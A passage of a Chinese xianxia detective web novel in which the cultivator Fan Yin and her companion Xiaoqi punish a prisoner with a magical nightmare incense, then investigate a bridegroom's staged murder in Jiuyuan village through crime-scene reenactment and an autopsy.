梵音心脏漏了一拍,似乎是回到了善缘村的梦魇之中。眼前人的模样似乎和梵雪的模样重叠了起来,她磕磕绊绊道:“没有....”
小七眼波流转,眼中瞬间露出胜券在握的表情,嘴角微微上扬。
“那意思是不是我可以一起去旧元村了?”
梵音
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带着几分无可奈何和揣测,皱了皱眉,无奈道:“可以是可以。” 心里暗道:“那就让我看看你的真实目的究竟是什么吧。”
夜黑风高之际,正是做坏事的好时候。
梵音蹑手蹑脚地前往地牢,她的身影在黑暗中若隐若现,宛如一只敏捷的黑猫。地牢中的衙役看见梵音之后,默不作声地前往不远处的草丛蹲守,动作迅速而隐秘。
“啪、啪!”
清脆的巴掌声在地牢中响起,掌使者只觉得脸颊肿痛,痛苦地睁开眼睛一看,发出一声尖叫:“是你.....”
“!”
梵音直接又赏了一巴掌,举起手示意他噤声,眼神中透着警告,仿佛在说不然再给他一巴掌。
掌使者眼带泪水,可怜巴巴地小声道:“你.....你到底想干嘛....”
梵音压低声音质问:“你不知道寺庙名字,那你总还记得村长出发前往寺庙和返回寺庙之间花了多少时间了吧?”
掌使者微微点头,脸上充满谄媚的笑容道:“仙人,这个我知道。三日。”
梵音再次问道:“步行还是坐马车?”
掌使者眼神略带讨好,小心翼翼地回答:“马车。”
梵音问完后又赏了一巴掌。
掌使者眼神充满疑惑和质疑,满心委屈,似乎在问我都好好答话了为什么还打我?
梵音横了他一眼之后起身离开,关门前点燃了一支药香。那药香约有半尺来长,粗细如小指,通体呈深褐色,表面雕刻着细密而神秘的纹路,仿佛蕴含着某种古老的符咒。
长香一经点燃,顶端便冒出一缕缕淡蓝色的烟雾,那烟雾袅袅升起,宛如轻盈的薄纱在空中缓缓舞动。
“这是什么....”
一声惊呼之后,再无声响。
关门后的梵音朝着衙役打了一声招呼,两位衙役从草丛出来站回岗位。但还多了一人,小七冲着梵音轻笑。
梵音惊讶地看向小七,虽然是当着她的面说晚上需要柳大人行个方便,但没想到她还尾随自己。
她眼神直指地牢,“梵小姐,干坏事的时候最好还是要搞个双重保险哦~”
梵音转身看向地牢处,居然设置了保护罩。她眼神阴郁,仿佛被一层阴霾笼罩,脸色瞬间变得难看。“保护罩是你设置的?”
小七傲娇地扬起下巴,一脸得意,“是啊。毕竟不能危及到其他人,你说是不是呀?”
梵音眉头微蹙,带着一丝疑惑,确实药香可能会透过门缝传出,立了保护罩就能保证药香被村里人吸收,不会有任何遗漏。
梵音当然知道这个做法是错误的,可知道拐卖案不可能将他们所有人困于地牢之中。她心中有过疑虑,但这个做法不仅被认可了,还被完善了。这让她心头一暖,又有一种如释重负的淡然。
这一刻,她们是共犯!
她默然半晌,方缓缓睁开双眸。此时毫无颜色的唇色略过一抹浅淡的笑,“言之有理。”
时间回归到梵音和小七前往脱扈山之前。
“师兄。可否利用造忆草制造一个药香?药效是让人在起欲念之时坠入梦魇?”
伏御望着眼前人,闻言微微有些怔忡,脸上颇有几分不敢置信。“可以是可以,但....”
梵音眼神坚定,不容置疑,“师兄。你只管做就行,其余事你无需多想。”
后来,这些人发现之后遍寻名医却无法医治,都只道是报应不爽
19. 婚筵
潮雾浓郁,雨点纷扬而落。小七贴心的为梵音起了一个保护罩抵御雨水,马蹄声哒哒地敲击地面,溅起阵阵水花。幸好旧元村距离善缘村不远,她们策马不到半个时辰就抵达旧元村了。
“吁~”
梵音轻喝一声,双手紧紧拉住马绳,身子微微后仰,那骏马前蹄高高扬起,随后稳稳地停了下来。
她一个利落的翻身下马,动作流畅而优雅,紧接着伸手扶住正小心翼翼下马的小七,眼神中满是关切。
旧元村门口,元瑾轩带着几位衙役早已焦急地等候多时。梵音刚一下马,元瑾轩便急匆匆地迎了上来,躬身行礼,声音略带颤抖:“弟子元瑾轩拜见梵师姐!”
梵音微微颔首点头示意,神色淡然。
元瑾轩抬起头,目光在看到小七的瞬间闪过一丝惊艳,眼睛瞪得大大的,忍不住往前凑了凑好奇地问道:“敢问这位漂亮姑娘是?”
小七横了一眼元瑾轩,紧紧拉着梵音的衣袖,脸上满是不屑。
梵音看小七脸色不太好的模样,眉头轻皱,略带责备道:“元瑾轩,你就是道心不稳。不然怎么会入司几个月还停留在炼气期呢?”
元瑾轩闻言只觉得头皮发麻,嘴里嘟囔着:“又不是所有人都像师姐那样既有天赋还疯狂修炼的好吧,人总要有点乐趣所在吧....”说话间,眼神闪躲,不敢正视梵音,一只脚在地上蹭来蹭去。
小七听到嘀咕声,嗤笑道:“你还知道别人既有天赋又努力,你既没天赋你还不努把力?”双手抱在胸前,眼神充满挑衅。
元瑾轩一脸苦相,嘴巴张了张,却又不知如何反驳,只能无奈地低下头:“......这位小姐嘴皮子好生厉害。”
梵音一脸无奈地看着他们,打断道:“好了,别闹了。先办正事要紧。”
元瑾轩摆了个臭脸后,冲小七吐了个舌。
转脸正色道:“梵师姐。万万没想到这案件竟会出动你,这起案件其实我就是案件发现人之一。
我也是因为探妖石震动才觉得此事可能不是人为。所以才上报寺内申请援助的。”说话时,神色紧张,目光急切。
梵音闻言微微有些怔忡,眼神中透着疑惑:“我若没记错的话,你是因为要参加死者的婚筵才会休假的吧?为什么还会带上捉妖石呢?事发之前你就已经察觉到不对劲了吗?”
元瑾轩垂着头,像个做错事的孩子,双手不停地摆弄着衣角,沮丧地说道:“我.... 我们村仅有我一人成功入学定律司,这不是想给兄长们显摆显摆么....” 说着,还跺了跺脚。
梵音抿紧了嘴角,咽下已滑到唇边的一声叹息,轻轻拍了拍元瑾轩的肩膀:“所以。你们在婚筵前夜举办聚会?”
元瑾轩揉着双眼,揉得发红,揉得发疼,声音带着哭腔:“是啊。本意我们是想着痛饮一番...谁竟想....”
梵音缓步上前扶他肩膀,温言道:“没事,不急。慢慢说。”
一旁的小七兀的又拽了拽梵音,皱着眉头不耐烦地道:“别安慰了。这时候安慰往往哭得越厉害。”
“哇....”
果不其然,元瑾轩全身一颤,放声大哭起来,泪水如决堤的洪水,肩膀不停地抖动着。他原本强撑的精神在被安抚的那一刻终于爆发,任谁都拦不住。
衙役们都呆住了,他们万万没想到在案发现场如此冷静的人现如今哭得像个小孩子一般。
梵音略带几分心疼地看了一眼元瑾轩,若说刚刚嬉皮笑脸是伪装的话,如今就是最纯粹的他。
村口人来人往的,已经不少人朝这边看来了。她思忖一刻之后捏了个屏障,如此一来便是无人能看见了。
“真是的!本来骑马赶路就是为了让你多休息休息的,你原本就连续三天御剑飞行,现如今还要为这个哭哭怪耗费法力...”小七双手叉腰,一脸抱怨。
本来还想继续唠叨的小七被梵音略一发力,便将她定在原地动弹不得,梵音凝视着她的眼睛,作出个闭嘴的手势,眼神凌厉。
小七露出难以置信的表情,随后故作大度状,摆了摆手。
“呼....呼....”
听闻师姐连续赶着好几天还前来援助的元瑾轩双手一直冲自己的双眼扇风,想要借此停止哭泣,脸上满是愧疚。
元瑾轩嘴角往下撅,磕磕绊绊道:“师...姐....没...没...事...了”
梵音看了一眼元瑾轩眼圈红红的模样,叹了口气,问道:“你确定吗?”
元瑾轩觉得异常抱歉,很不好意思地道:“没事了,多谢师姐。这个案件我是真的很想查个清楚.....”眼神坚定,充满决心。
梵音摸了摸元瑾轩的头发,“无碍。定律司本来就是是斩妖除魔、断案伸张正义之地。”
小七上前将梵音的手拽了下来,动作粗鲁地揉了揉元瑾轩的头:“既然要查明真相,那你就不能老是哭。谁家大人像你这样在大街上号啕大哭的?”
元瑾轩气鼓鼓地道:“要你管啊!”
梵音见元瑾轩肉眼可见的好转了,将屏障撤掉,一行人再次出发。
梵音、小七和元瑾轩一行人来到元府门前,朱红色的大门紧闭,门上原本欢腾喜庆的红绸,此刻却似被霜打的娇花,蔫蔫地被雨水浸润,有气无力地垂落着。
推开大门,映入眼帘的是一片混乱的景象。
庭院中,婚筵的布置尚未撤掉,红色的灯笼在风中摇晃,红色的地毯上落满了雨水和落叶。然而,与此形成鲜明对比的是,内院里却挂满了白色的布幔,在风中飘荡,发出“簌簌”的声响。
原本摆放着鲜花的桌子如今一片狼藉,红色的花瓣散落一地,与白色的纸钱交织在一起。那原本用于庆祝的红绸带,有的已经断裂,与白色的布条纠缠不清。
梵音没想过见到的是如此这般场景,整个元府红与白的交错仿佛诉说着那场本该欢乐却变成悲剧。但还是忍不住问道:“案发现场怎会如此?不应该保留案发现场吗?”
元瑾轩的双眼瞪得滚圆,满脸的难以置信,脑袋急速转向几位衙役,两只拳头紧紧攥起,怒声问道:“这到底是什么情况?”
只见内院的衙役匆匆忙忙地跑过来,神色慌张且急切地说道:“瑾轩,
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案子已经破了。我担心你空等一场,就在这里候着你。”
元瑾轩的目光中满是狐疑,眉头紧紧拧成了一个疙瘩,声音低沉地质问道:“怎么回事?”
梵音神色凝重低声提醒道:“慢着。先让他们立刻停手,不能再把案发现场弄得更乱了。”
元瑾轩的眉睫微微颤抖,双眼圆睁,怒火中烧地一字一顿喊道:“都给我住手!”
元府众人听到这声怒吼,纷纷停下了手中的动作。
那位衙役气得咬牙切齿,伸出手指着元瑾轩吼道:“你这是干什么?翌晨都已经走了,你还揪着不放吗!”
元瑾轩狠狠地横了他一眼,不由分说地拉着梵音的衣袖,脚下生风般朝着内院快步走去。
内院大厅之中,一位满头白发面容略带几分沧桑的老人看到了元瑾轩,声音疲惫不堪,一只手无力地撑着额头说道:“瑾轩,别再折腾了。官府都告诉我结案了,凶手也都认罪了....”
元瑾轩气得满脸通红,双手在空中用力地挥动着,大声说道:“叔叔!翌晨身上有妖气,绝对不可能弄错的!现在来这里查案的是我们定律司最厉害的师姐,梵师姐肯定能查个水落石出!”
元老爷撑着额头的手缓缓挪开,抬起眼皮看了一眼梵音,脸上写满了轻蔑,冷哼一声道:“不过是个女流之辈,能有什么本事....”
小七翻了个大大的白眼,双手叉在腰间,毫不客气地直言道:“元老爷说话好生尖酸刻薄,一定是从男人肚子里出来才如此厉害吧?”
元老爷被呛得呼吸一滞,脸色涨得紫红,差点就要暴跳如雷。
元瑾轩撑腮拧眉,想个半天,嘟嘟囔囔道:“叔叔……侄子才炼气期,梵师姐已经是金丹期了。一个天一个地的区别,她真的很厉害的!”
梵音唇边虽挂着一抹微笑,但眸中却毫无笑意,不卑不亢地说道:“元老爷。捉妖师的世界从来都是强者生存,弱者淘汰。
小女不才,乃是定律司的首席弟子。若不是元瑾轩的极力请求,这个案件本应由低级捉妖师前来探查。
但定律司向来不会轻视任何一个案件!所以,无论是否结案,我们都必须查清楚妖气的来源。
只有这样,才不会危及到元府,乃至整个旧元村。”
元老爷听闻这番话,身体不由自主地颤抖了一下,满脸惊愕地问道:“你是说,这个妖气还有可能威胁到府内众人?”
梵音目光微微一凝,语气极是认真说道:“如若不彻底查清妖气的出处,很有可能危及到其他人。所以,现在必须先停止丧事。”
元老爷长叹一口气,目光呆滞地发了一会儿愣,然后无奈地挥挥手说道:“刚刚多有得罪。白发人送黑发人实在是太难以承受了....”
梵音读出元老爷的心思般,立马递出台阶道:“无碍。人之常情,我们都能够理解的。”
元老爷见台阶已经给到,便说道:“我这就吩咐下人暂时别动,你们想怎么查就怎么查。有任何需要都可以和瑾轩说,他在这里出入自由。”
元瑾轩一下子如释重负,脸上尽是对梵音的仰慕之情。
20. 慌乱
阳光炽热地洒在元府,却驱不散从院子直至伙房那令人毛骨悚然的血迹带来的寒意。
微风轻轻拂过,院子里的花草树木微微晃动,却显得有些无精打采。
据衙役的交代,犯案者乃是一个落魄的赌徒。
起因是前晚,元翌晨在赌场大获全胜,赢走了他的钱财。那赌徒一时头脑发晕,再加上酒醉的催化,心中的怒火熊熊燃烧。于是,他鬼鬼祟祟地跟踪元翌晨到了府邸,翻墙进入元府院子后悄悄潜伏。
直到元翌晨的身影出现,他便操起手中那块沉甸甸的石头,猛地将其打晕,而后拖拽着昏迷的元翌晨至伙房,用刀无情地捅死了他。
案发过后,或许是良知的些许回归,清醒之后的赌徒自己前往衙门自首了。
根据陈述内容,确实与案发现场的血痕和刀伤吻合无误。所以,衙门这边便匆匆宣告案件了结。
由于案发现场太过惊悚恐怖,元府众人皆心有余悸,还未有人敢主动前往布置白幡等丧葬物品。
相较于前院的杂乱无章,而这边的案发现场,倒算是在某种程度上保护良好。
元瑾轩紧皱眉头,的眼神中充满了疑惑和急切,嘴唇微微颤抖着,喃喃自语道:“翌晨哥向来温文尔雅,怎么会去赌场呢。梵师姐,你一定要帮我查明真相,还翌晨哥一个公道!”
小七直接横了一眼元瑾轩,从牙缝中挤出声音:“好了。一个大男人就知道哭哭啼啼的,又不是三岁小孩了。
静静看一下你师姐探案怎么探的,闭上嘴巴好好学着吧!”
梵音则静静地蹲着身子,目光专注地观察着院子里的血迹。
只见她先是小心翼翼地蹲着,而后又缓缓趴下,曲膝缓缓前行。
元瑾轩一脸惊讶,嘴巴张得大大的,磕磕绊绊道:“梵师姐,跪不得呀。地上脏得很....”
小七抬手扶额,一幅受不了元瑾轩这副傻样,抬起手就给他脑子拍了一巴掌。
“你这个傻子!
定律司是不是探案手法压根儿一点都没学过?上课都在走神想漂亮姑娘吗?”
元瑾轩捂着脑袋嗷了一声,听到漂亮姑娘这几个字时,脸上又不自觉地泛起了痴痴的傻笑。“还好啦……”
小七无奈地摇摇头:“....这傻子到底怎么混进去的?”
在他们吵吵嚷嚷之时,梵音已经悄然到了伙房。她巡视着伙房环境,因为是元翌晨最后遇害的地方,所以无人敢靠近,弥漫着一股令人毛骨悚然的死寂。
血腥味凝固的味道结合伙房的特殊气味,一股陈旧铁锈味扑鼻而来,让人忍不住想要作呕。
梵音见到了划出的尸体轨迹线后起身,低头拿起案板上染血的刀,站在白线对面开始进行示范。
尾随而来的两人刚一进伙房,便见到梵音面如寒冰,手持着菜刀凌厉地挥舞着。
元瑾轩忍不住后退了两步,脸色瞬间变得苍白,双腿微微颤抖。
小七一把捉住元瑾轩,嗤笑道:“躲什么躲,又不会刀了你。”
梵音闻言抬眼看着元瑾轩,她的眼神中透着一丝期待,嘴角微微上扬,“瑾轩,你和你堂哥身高相差几公分?”
元瑾轩的眼神中满是紧张,额头上冒出了细密的汗珠,磕磕巴巴道:“一两公分吧。”
梵音朝着元瑾轩粲然一笑,轻轻招了招手道:“瑾轩。过来~”
小七闻言嘴角勾起一抹邪笑,难得一见的没有吃味,反而眼神中带着鼓励,手推了一把示意元瑾轩快过去。
元瑾轩闻言嘿嘿一笑,脸上的紧张稍有缓解,“梵师姐,怎么啦?”
梵音让元瑾轩睡在地上,并将他摆在白线区域内,紧接着手持着菜刀站在元瑾轩上方。
躺下的那一刻元瑾轩心里头十分后悔,眼睁睁看着梵音手持菜刀冲他而来,元瑾轩只觉得头皮一阵发麻,他的瞳孔急剧收缩,呼吸变得急促起来,心里暗道:“难怪这么温柔叫他呢.....”
菜刀裹挟着风朝着元瑾轩腹部而去,他吓得双目紧闭,脸上的肌肉因为恐惧而抽搐着。
梵音清脆的声音响起:“好了,睁开眼睛!”
元瑾轩先是战战兢兢地睁开一只眼睛,而后慢慢将另外一只眼睛睁开。只见菜刀距离他的腹部只有一公分,他这才如释重负,慢慢吁了一口气,胸膛剧烈地起伏着。
梵音问道:“看出来哪里不对劲了吗?”
元瑾轩状似思索的模样看了看,眉头紧锁,想了半天,一个字没有蹦出来。
小七上前又给了他一下,她的眼神中满是嫌弃:“连我都看出这姿势不对劲了,你还在那想半天想不出来。”
元瑾轩看着眼前梵音的姿势,恍然大悟。在狭小的伙房走道一人躺着的话,能够活动的范围十分局限。更别提直直捅进腹部了!
他的脸上满是兴奋和激动,眼神中闪烁着光芒:“姿势不对!梵师姐一个女子的身形属于纤细型都在走道中难以施展,更别提是个男性!”
梵音满意地点点头,“不错。也不算太差。走吧!案发现场查看得差不多了,我们去看看尸体吧。”
元翌晨的尸体停放在衙门的停尸房中,元瑾轩携着梵音等人前往衙门,却在门口被一群衙役给拦住了。
拦住他们的正是那些神色严肃的衙役们,他们一个个横眉怒目,张开双臂,双腿分立,仿佛扎稳了马步,死死地堵在衙门门口,形成了一道难以逾越的人墙。
“瑾轩....这个案子都结了。你为什么非要纠缠不清呢?”
一个衙役眉头紧蹙,眼神中满是嫌恶与不耐,他一边说着,一边还伸出粗壮的胳膊,用力地向前推搡,试图阻止元瑾轩等人靠近。
元瑾轩一听,顿时怒发冲冠,破口大骂:“你们究竟意欲何为?翌晨平日里跟你们相处甚好,称兄道弟,如今
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你们却百般阻拦!到底安的什么心?”
衙役们的面色一沉,其中一人脸色难看地说道:“这是命案,又不是过家家。凶手都捉拿归案了,你如今这般查,不是在指责衙门办案不力吗?”他们互相对视,眼神中充满了不满。
小七脸上闪着阴晴不定的神色,“你们莫不是做了什么亏心事才这般行事的吧?”言辞简洁直白,并无一丝矫饰之言,反而听着字字惊心。
元瑾轩闻言面红耳赤,额头上青筋暴突,双手紧紧攥成拳头,身体因愤怒而止不住地微微颤抖,仿佛一头被激怒的狮子。
梵音沉稳有力地轻轻按下元瑾轩的肩膀,阔步向前,面容冷峻如霜,双目凌厉,冷冷道:“定律司查案捉妖的权利,乃是圣上亲自赐予,容不得丝毫亵渎与侵犯!
你们旧元村衙门,若是胆敢冒天下之大不韪,妄图公然忤逆圣上的至高旨意,那便是自寻死路,万劫不复!
速速将我此话说与县令,必须原原本本,一字不落。我倒要睁大双眼,看看你们这群不知天高地厚的家伙,到底还敢不敢继续在此肆意阻拦!”
她的眼神坚定而凌厉,下巴微微扬起,透露出一种不容置疑的气势。
衙役们相视一眼,眼中闪过一丝犹豫和慌张。他们原本嚣张的气焰仿佛被一桶冰水浇灭,身体不由自主地颤抖起来。
原本趾高气昂地伸出阻拦的胳膊,也如触电般迅速收回,不自觉地往后退了几步,那堵看似坚固的人墙瞬间出现了松动和裂痕。领头人见状匆忙前往内院请示了。
须臾,就见一个身着官服的四旬男子笑嘻嘻的朝着她们而来,那男子脸上堆满笑容:“老夫乃是旧元村县令,称我为元县令即可。定律司的仙人们别和衙役们一般见识,他们没有眼力见,实在多有得罪。快快请进!”
梵音凝望过去的目光看似温和,但说出的话却又异常坚决:“哪里。大家都是秉公办案罢了,如果只是误会一场那自然是最好的。”她的嘴角微微上扬,眼神却没有丝毫放松。
元县令呵呵一笑,他的笑容中带着一丝探究和疑惑,眼睛眯成一条缝:“是啊。大家都是秉公办案,只是这个案件都已经结案了。不知哪里惊动了定律司前来查案呢?”
元瑾轩正要开口说话,梵音拍了拍他的肩膀阻止道:“我们知道案子结了。只不过我们怀疑可能有妖作祟,但只不过是猜测罢了。若是有误,我们自然会离开旧元村的。”
元县令神色不动,也不知是信还是不信,只是没再继续追问。但面上端着还是一幅和蔼可亲的模样,眼底闪过一丝不易察觉的慌乱:“原来如此,都是误会。
来人,带定律司的仙人们去停尸房看看。”他挥了挥手,脸上的笑容有些僵硬。
衙役们相视一眼,脸色各异。
梵音秀眉一挑,微微颔首:“多谢元县令。”她的脸上带着礼貌性的微笑,眼神却在暗暗观察着元县令。
21. 哽咽
衙门的停尸房简陋至极,一座破旧的茅屋孤零零地矗立在角落里,周围杂草丛生,散发着一股腐朽的气息。
几具尸体随意地停放着,只是简简单单地裹着粗糙的草席。梵音踏入此地,面容虽未起波澜,但眸中立即流露出哀伤,眉头微微蹙起。
“还好我们赶得及,不然这环境尸体保存情况很难说啊....”
元瑾轩闻言,嘴唇紧紧抿住,拼命向上扬起,眼眶泛红,泪水在其中打转,他努力克制着不让眼泪掉落。
小七神色淡然地垂下眼睛,这一次却难得地伸出手,轻轻拍了拍元瑾轩颤抖的肩膀,安慰道:“好了。我们会查明真相的,你先把你堂兄指给我们看。”
元瑾轩浑身猛地一颤,牙根紧咬,心中暗自给自己鼓劲:“坚持点啊!你怎么动不动落泪!还是个男子汉吗!”
他深吸一口气,朝着那一排尸体走去,双手略显颤抖地挨个掀开草席。终于,在角落里,见到了那张与他有几分相似的容貌。
那人脸色铁青,神色却仿佛依旧自若。元瑾轩只觉得仿佛一口提在胸前的气被一下子泄了出去,喉间涌过一阵火辣辣的苦涩,声音哽咽:“唔......翌晨哥.....”
梵音心中此时没有丝毫轻松的感觉,反而沉甸甸的,好似有什么粗糙且沉重的重物狠狠地碾过胸口,带来阵阵难以言喻的钝痛。她不敢想象,若躺着的那人是雪儿,自己会不会哭得比元瑾轩还撕心裂肺,脸色变得愈发凝重。
小七敏锐地察觉出梵音身上透露出的那一抹哀伤,这一次她竟主动上前,缓步上前扶住元瑾轩,声音温柔:“好了。接下来你还是在外面守着吧,以防止他们碍事。可好?”
元瑾轩踉跄着起身,然后往后退了两步,眼睛紧紧闭起,许久之后才缓缓睁开双眸,目光坚定:“不。我要留下,我可以的!”
梵音如同能读出元瑾轩的心思般,挑眉笑了笑,嘴角上扬的弧度带着几分赞许:“好样的。”说着,她从万宝袋中拿出蚕丝面巾、蚕丝手套、银剪,准备开始验尸。
元翌晨的尸体并无其他明显外伤。头上有一处撞击伤,致命伤是腹部贯穿心脏处的利刃伤。这部份确实是和犯人自首内容一致。
梵音仔细查看头上的伤,眉头紧锁,轻叹一口气道:“居然没有勘验伤口吗?”
她取出刮刀,小心翼翼地将伤口处的头发清理掉,只见豁口处并无血凝块形成,只剩干涸的血迹。她略一思忖,眼神中闪过一丝明悟,便开口问道:“瑾轩。这个伤口正常吗?”
元瑾轩歪着头,苦思冥想了半晌,脑子一直在飞速回忆课上的知识点,最后还是无奈地低下了头,一脸很惶惑的表情,声音低落:“不正常吧?”
梵音低声提醒道:“若是生前打伤的话,你觉得血是否会凝块?”
元瑾轩垂下头,眼中满是愧疚之色,语带歉意地道:“梵师姐,这个我确实是不知道....”
梵音面上并未露出任何不满的表情,而是不在意地轻轻一笑:“手伸出来。”
元瑾轩颤颤巍巍地伸出手,梵音手起刀落迅速划了一个口子。他身体本能地想要捂住伤口,止住血液流出。梵音却抬手阻止道:“别动。你站在旁边等着看看。”
她命令完之后就继续将元翌晨腹部至心脏的缝合处一一剪开,她神情专注,眉头紧锁,掀开皮肤后细细察看。
她那敏锐的感知瞬间察觉到了若有若无的妖气,柳眉微微一蹙,秀目闪过一丝警觉,正准备伸手从万宝袋中摸索探妖石时,旁边忽地伸出一只骨节分明的手掌,掌心中稳稳地放着那块探妖石。她略带惊讶地转头看向那人,只见小七挑眉笑了笑,眼中透着一丝狡黠。
梵音甚是意外,不由得怔了一怔,胸脯微微起伏,心中一阵暖流涌动,嘴角轻轻上扬,露出一抹感激的浅笑,笑了笑后拿起探妖石便转过头去。
“瑾轩,过来。”梵音朱唇轻启,声音轻柔却带着不容置疑的口吻。
小七听见梵音在呼唤元瑾轩,心中便明了她有意栽培他,虽然这小子平日里傻头傻脑的,但却胜在有颗赤诚且炙热之心。
她极为识趣地往后退了几步,只见元瑾轩双手捧着伤口处,嘴里不停地喃喃自语,眼睛瞪得大大的,神色中满是兴奋,激动地说道:“梵师姐!我懂了,如果是身前伤的话,那豁口处的血液会凝成血块。就跟我现在受伤的手一样!”
梵音看着他那恍然大悟的模样,心中立刻有些心软,放缓了语调,眼中流露出温柔,徐徐说道:“没错。所以,目前至少能确认的事情就是你的堂哥不是生前被石头砸伤晕倒的,而是死后为了伪装成一时兴起犯案而故意敲伤的。”
她接着又指着尸体的心脏处说道:“你看,探妖石有反应。所以,你当时的判断是没错的。这里心脏处明显有个利器伤,这可不是普通菜刀能够形成的。”
元瑾轩听闻,全身不由自主地一颤,脸上原本灿烂的笑容瞬间凝固,继而渐渐淡去,眉头紧锁,眼中满是哀伤,自己的怀疑虽然得到了认可,可他却怎么也开心不起来。仿佛有什么沉重且压抑的东西即将翻涌而出,在他的表皮下滚动着,于他的眉宇之间激起悲凉与哀凄的波纹。
梵音说完,又动作轻柔地掏出宣纸和毛笔,目光专注地将心脏处的伤口形状仔细绘画出来,那神情认真得仿佛在雕琢一件绝世珍宝。随后,她重新拿起针线,神情极为认真,手指灵活地穿针引线,非常仔细地一针一线将伤口处缝好。
缝完尸体后,元瑾轩主动将遗体的衣服修整好,重新用草席裹住。
梵音抬眼看向两人,眼神坚定,说道:“我们先离开这里,具体事情等到了客栈再议。”
元瑾轩一边在前面欢快地带路,一边热情地盛情邀请道:“梵师姐,可以去我府中小住几日,我是自己居住一个别所,十分清静,没有外人打搅。无需去客栈居住的,客栈人多口杂也不方便议事。如何?”他一边说着,一边回头看着梵音,眼中满是期待。
梵音稍稍停顿了一下,抿紧了嘴角,眼神中闪过一丝犹豫,元瑾轩这番话让她突
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然想起善缘客栈,顿时感觉一阵恶寒涌上心头。
她思忖着刚刚衙门发生的一事,觉得元瑾轩自己住可能会有危险。她抬眼看向小七,小七耸耸肩,脸上的表情轻松,似乎对此毫不在意。
梵音说道,嘴角微微上扬。“如此也好,那就去你那小住几日吧。”
元瑾轩兴奋地欢呼道:“好耶!”他像是个快乐的小狗一般,嘴巴咧得大大的,眼睛都笑成了一条缝,若是有尾巴的话,估计此时已经欢快地摇得不行了。
三人朝着村口处走去,只见不远处一排排竹林随风摇曳,发出沙沙的声响。竹林后方有个别所隐隐绰绰。一条蜿蜒的石子路通向那扇古朴的大门,门口的牌匾大大咧咧地写着「元大侠」三个大字。
小七三分不屑、三分讥笑四分邪魅狂狠,眉头轻挑,说道:“元大侠指的是你吗?”
元瑾轩在梵师姐的目光注视下,突然生出了几分羞愧难当的神色,眼神左飘右晃,不敢正视,嘴硬地说道:“是又怎样?”
梵音忍不住扑哧一笑,美丽的双眸中慢慢浮起一层雾气,笑声如银铃般响起:“哈哈哈....”
元瑾轩的脸涨得通红,嘟囔着抗议道:“梵师姐!!!”
屋内的人听闻声响匆忙出来迎接,满脸笑容,眼角的皱纹都挤在了一起,说道:“少爷。你可回来了~”
元瑾轩笑着说道:“元伯,我给你介绍一下。这位是我们定律司的首席弟子,梵师姐。另外一位....就叫小七姑娘。”他一边说着,一边用手比划着。
随后朝着梵音两人说道:“这「元大侠」别所只有我和元伯两人,元伯自小照顾我长大。留在这里也是为了照顾我的起居饮食,做饭那可是一流的!待会一定要尝尝他的手艺!”他的脸上洋溢着自豪。
梵音轻轻一笑,说道:“那必然是得尝一尝的。”
元伯笑嘻嘻地说道:“快快快!快请进。少爷难得带朋友回家,看元伯给你们露一手。”
元伯手脚麻利地走进厨房,不多时,一道道美味佳肴便端上了桌。那喷香的红烧肉色泽红亮,肥而不腻,入口即化;鲜嫩的清蒸鱼散发着诱人的香气,鱼身上的葱丝和姜丝点缀得恰到好处;还有那盘绿油油的清炒时蔬,清脆爽口,让人食欲大增。
四人围坐在桌旁,元瑾轩迫不及待地夹起一块红烧肉放进嘴里,边吃边含糊不清地说道:“元伯的手艺真是绝了,我在外面就天天想着这一口。”说完,还满足地咂咂嘴。
梵音轻轻夹起一片鱼肉,品尝后微笑着说道:“元伯,这鱼做得真是鲜美,您的厨艺真是令人佩服。”
元伯站在一旁,看着大家吃得开心,脸上满是欣慰的笑容,乐呵呵地说道:“喜欢吃就多吃点,别客气。”
元瑾轩又给梵音和小七各夹了一些菜,嘴里不停地说着:“梵师姐,小七姑娘,别客气,多吃点。”
大家边吃边聊,几人都知道此案虽然明知不可能这么简单,但在当下的氛围中还是忍不住笑出声,心中的郁闷也随之一扫而光。
22. 暴露
转眸间,夜色如水,繁星点点,映照着静谧的庭院。
庭院中缕缕茶香萦绕,只见元瑾轩神色专注,小心地将水温了紫砂茶具,用茶勺细致地舀出适量茶叶置于茶盅,接着,他提起茶壶,将沸水缓缓注入至九分满,动作轻柔而娴熟。他撇去茶沫,倒掉初道茶水,再次冲泡,而后双手恭敬地奉与客人,脸上满是认真与期待,似乎在等待着称赞。
小七端起茶杯,轻轻抿了一口,脸上露出赞赏的神色,唇角微微翘起,眼中带着几分调侃,取笑道:“你泡茶的时候倒有几分公子哥的模样。”
梵音目中波光流转,面上的表情淡淡的,仿若在闲话家常,她微微侧头,轻声问道:“瑾轩,关于你堂哥的人际往来和是否有与他人结仇结怨的情况,你可知道?”
元瑾轩端坐着,抿着嘴角,沉默了好一阵子,眉头紧锁,眼中满是纠结,才缓缓说道:“堂哥一向温文尔雅,喜爱诗歌饮酒。因此广有人脉,人际往来十分频繁。但深谙人情世故,应对各种场合都游刃有余。所以,结仇结怨是断然不可能的。”
梵音思及下午元瑾轩和衙役们的对话,轻抿朱唇,眼神中闪过一丝思索,停顿了片刻,方才说道:“一个喜爱诗歌饮酒之人,为何会和衙门中人称兄道弟?”
小七眼里三分不屑、三分讥笑四分邪魅狂狠,她微微仰头,冷不丁道:“古往今来。文绉绉的诗人多是风流之人,你堂哥估计红颜知己不少吧?”
元瑾轩垮着双肩,表情极度的无奈,他双手摊开,摇摇头说道:“堂哥一向不屑于武学,我也是回来之后才知道,自从两个月前堂哥逐渐结交了衙门的朋友。至于这其中玄机,我也是不知。”
他的脸上写满了困惑,眉头皱得更深了。“至于红颜知己,我堂哥从来不去烟花柳巷之地。不然,旧元村最闻名的知书达理的元卿云怎么会下嫁于我堂哥呢。”
说罢,元瑾轩两道浓密清晰的眉向中心一攒,挤出两道深深的纹路来,又长长叹了一口气,脸上满是忧愁,眼神也变得黯淡无光。
梵音良久之后方慢慢点头,字字清晰地道:“分析目前的情况来看。
其一:元瑾轩为何会突然和衙门众人交好,按照之前的交友习惯来看这是不合理之一;
其二:赌徒为何会自首,尸体勘验结果和自首赘述有偏差;
其三:要查是否元瑾轩去过赌场以及是否有情人;
明日一早起,我们就分别去调查这三件事,你们有什么问题吗?”
元瑾轩有些怔忡,慢慢转动着眼珠,半晌方道:“全凭梵师姐的安排。”他的眼神中闪过一丝犹豫,但很快又变得坚定。
小七耸耸肩,她那柔情似水的眼神看着梵音,嘴角上扬:“我也是。”
梵音露出一个淡得几乎看不出来的浅笑,嘴角轻轻牵动:“目前来看的话。其一是肯定不能让元瑾轩再去的,衙门众人也会有所警惕。其一就交由我来办;
其二的话,赌徒也是属于旧元村之人,打听问话还是元瑾轩更为妥当一些。
